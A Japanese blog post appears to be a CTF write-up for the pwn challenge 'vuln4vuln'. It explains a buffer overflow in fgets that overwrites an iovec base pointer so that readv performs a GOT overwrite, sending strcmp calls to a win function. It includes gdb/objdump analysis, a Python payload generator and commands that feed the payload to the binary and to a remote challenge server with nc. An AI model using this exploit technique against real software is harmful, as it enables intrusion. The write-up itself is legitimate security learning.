0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[writeup] vuln4vuln

0
Posted at

vuln4vuln

BOFとGOTオーバーライトを組み合わせるとても面白いpwn問題でした。
初めてこういう問題を解きました。かなり難しかったのでこの前に問題を二つ解くことになりました。末尾参考の記事をすべて読めばすんなり読めると思います。

観察

  • fgets関数とreadv関数の合計二回入力が受け付けられています
  • fgets関数では40Bytesを16Byteのname配列に渡しているのでBOFの餌食です
  • fgets関数を用いたBOFでiovec構造体iovのデータを壊し、readv関数でGOTオーバーライトを行えばreadv関数に続くstrcmp関数ではなくwin関数を起動できそう

具体的調査

  • strcmp関数のGOTエントリに保存されたstrcmp関数のアドレスをwin関数のアドレスで上書きしたいので、この「strcmp関数のGOTエントリのアドレス」と「win関数のアドレス」を調査します

  • objdump -d chal
    4010f4: ff 25 2e 2f 00 00 jmp *0x2f2e(%rip) # 404028 <strcmp@GLIBC_2.2.5>
    strcmp関数のGOTエントリは404028番地に割り当てられていることがわかりました

  • nm chal
    00000000004011f6 T win
    win関数は4011f6に割り当てられることがわかりました

  • fgets関数でiov.baseに404028が入り、readv関数で4011f6を与えるような入力を用意すればいいとわかります

  • name配列からiov.baseまでは離れているので無駄データを先んじて送りつけ、404028がちょうどよくiov.baseに入るよう調整する必要があります。このpayloadを特定します。ためしに39文字のAを送り付け、gdbでiovを見てみると32文字目から7Byteが使われているとわかります。
    gdb -q chal
    disassemble main
    strcmp関数をcallしている場所を特定、ブレークポイント設置
    b *0x0000000000401286
    r
    (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAを入力)
    p &iov
    0x404090番地にあることを確認
    x 0x404090
    0x0041414141414141という値が入っていることを確認
    7文字のAとヌル文字が収まっているので、32文字を予め無駄データとして送信するといいことがわかります
    また、末尾の改行がヌル文字に上書きされているのでfgets関数は標準入力から39Byteを受け取りヌル文字をくっつけたものを保存してくれるとわかります
    このため、iov.baseに保存する0x00404028という本来8Byte幅のアドレスをそのまま32文字に続けて40Byteにして渡すと0x00404028の00が標準入力に残り、次のreadv関数で悪さします
    0x00404028は7Byteに加工して渡すことになりますが、ヌル文字も先頭の00も同じ0なので特に問題は無いです
    ついでにいうと、ためしに50文字くらいを送ってみるとわかりますが、標準入力にreadv関数用のデータが残っていたら入力の受付を行わずすぐに処理が再開されます
    この「あふれたデータを勝手に拾っていってくれる仕組み」は標準入力に余計な改行を残さずに済むので便利に使わせてもらえそうです
    一度のデータ入力でfgets関数とreadv関数の両方に値を配ることができるので問題はありません
    以上より、与えるデータは
    適当な32文字 + 8Byte strcmp addr [:-1] + 8Byte win addr
    となります
    これを作成するpythonスクリプトは以下の通りです

import struct

payload = 'A'.encode() * 32
strcmp_addr = 0x00404028
win_addr = 0x004011f6
payload += struct.pack('<Q', strcmp_addr)[:7] 
payload += struct.pack('<Q', win_addr)

with open('payload', 'wb') as f:
    f.write(payload)

このデータをパイプなりで渡すとシェルを起動でき、flag.txtを確認できました

cat payload - | ./chal
cat payload - | nc 34.170.146.252 39935

参考

BOFの仕組みの理解のためのスタックの理解には以下の記事が参考になりました。
https://miso-24.hatenablog.com/entry/2019/10/30/005036

GOTとかPLTとかは以下の記事が参考になりました。
https://keichi.dev/post/plt-and-got/

以下の記事をもとにはじめてBOFでwin関数を実行できました
https://qiita.com/MachineHunter/items/f289c0266419b6ee0c23

以下の問題を解いてBOFとGOTオーバーライトを組み合わせてwin関数を実行できました
https://alpacahack.com/challenges/noob-programmer

gdb-pedaのインストールの際参考にしました
https://qiita.com/miyagaw61/items/248a486cca671686c58c

おわりに

毎日楽しませてもらってます。運営の皆さん、ありがとうございます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?